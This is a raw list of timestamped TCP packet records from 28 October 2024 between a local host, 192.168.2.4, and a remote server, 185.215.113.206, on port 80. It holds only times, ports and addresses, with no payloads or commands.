Oct 28, 2024 06:27:23.221497059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221586943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221596003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221606970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221642017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221669912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221678019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221681118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221720934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221827030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221872091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221877098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221887112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221920013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221945047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.221959114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221970081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.221995115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222002983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222006083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222016096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222029924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222063065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222073078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222115993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222121000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222131968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222166061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222287893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222309113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222321033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222337008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222378016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222387075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222398043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222408056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222434044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222454071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222460032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222465038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222476006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222486973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222496986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222501993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222544909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222760916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222771883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222781897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222793102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.222805023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.222846985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.223018885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223030090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223040104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223050117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223062992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223067999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.223073959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223086119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223094940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.223108053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.223150015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.258975983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259008884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259061098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259090900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259095907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259145021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259145975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259157896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259179115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259187937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259221077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259222984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259274960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259344101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259356022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259367943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259378910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259393930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259412050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259445906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259452105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259474993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259494066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259531975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259608984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259618998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259663105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259741068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259763956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259777069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259788990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259807110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259850025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259861946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259872913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259884119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259896040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.259915113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.259946108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.341694117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341742039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341795921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341810942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.341852903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.341913939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341926098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341937065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341948986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341962099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.341964960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.341991901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342015982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342093945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342106104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342116117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342137098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342144966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342156887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342164993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342204094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342217922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342228889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342238903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342257023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342294931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342298985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342333078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342338085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342375994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342406988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342447996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342462063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342473030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342509985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342677116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342688084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342696905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342725039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342730999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342741013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342746973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342786074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342866898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342878103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342889071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342901945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342914104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342914104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342925072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.342941999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.342972040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343030930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343041897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343051910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343075991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343097925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343141079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343183041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343195915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343208075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343240023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343364000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343374968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343410015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343410969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343424082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343455076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343489885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343524933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343537092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343548059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343558073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343571901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343583107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343590975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343595028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343605995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343624115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343662024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343786955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343832016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.343838930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.343888044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379348040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379398108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379409075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379425049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379457951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379528999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379563093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379570961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379573107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379616976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379695892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379726887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379736900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379739046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379776001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379782915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379820108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379822969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379853010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379859924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379884005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379893064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379923105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.379940987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379951954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.379992962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380012989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380122900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380132914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380142927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380161047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380171061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380177975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380182981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380218983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380239964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380269051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380281925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380290985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380315065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380347967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380418062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380429983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380449057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380471945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380505085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380506992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380547047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.380547047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.380587101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591192961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591214895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591224909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591236115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591300964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591339111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591350079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591362000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591362000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591373920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591396093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591422081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591475010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591485977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591495991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591507912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591516972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591517925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591530085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591558933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591598988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591604948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591614962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591624975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591653109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591689110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591690063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591701031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591711044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591722012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591736078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591773033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591797113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591808081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591819048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.591835976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591875076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.591999054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592015028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592042923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592045069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592058897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592068911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592077971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592080116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592092037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592103958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592103958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592128992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592139959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592147112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592149973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592160940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592170954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592171907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592181921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592200041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592201948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592214108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592230082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592236996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592255116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592267036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592277050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592283010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592288017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592298985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592309952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592312098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592324972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592343092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592346907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592355013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592365026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592374086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592402935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592416048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.592499018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.592542887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.596739054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596761942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596772909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596801043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.596826077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.596860886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596873045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596884012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596930981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.596930981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.596971989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596982956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.596992970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597008944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597012043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597021103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597032070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597033978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597043991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597055912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597068071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597075939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597079039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597090960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:23.597096920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:23.597114086 CET	80	49758	185.215.113.206	192.168.2.4
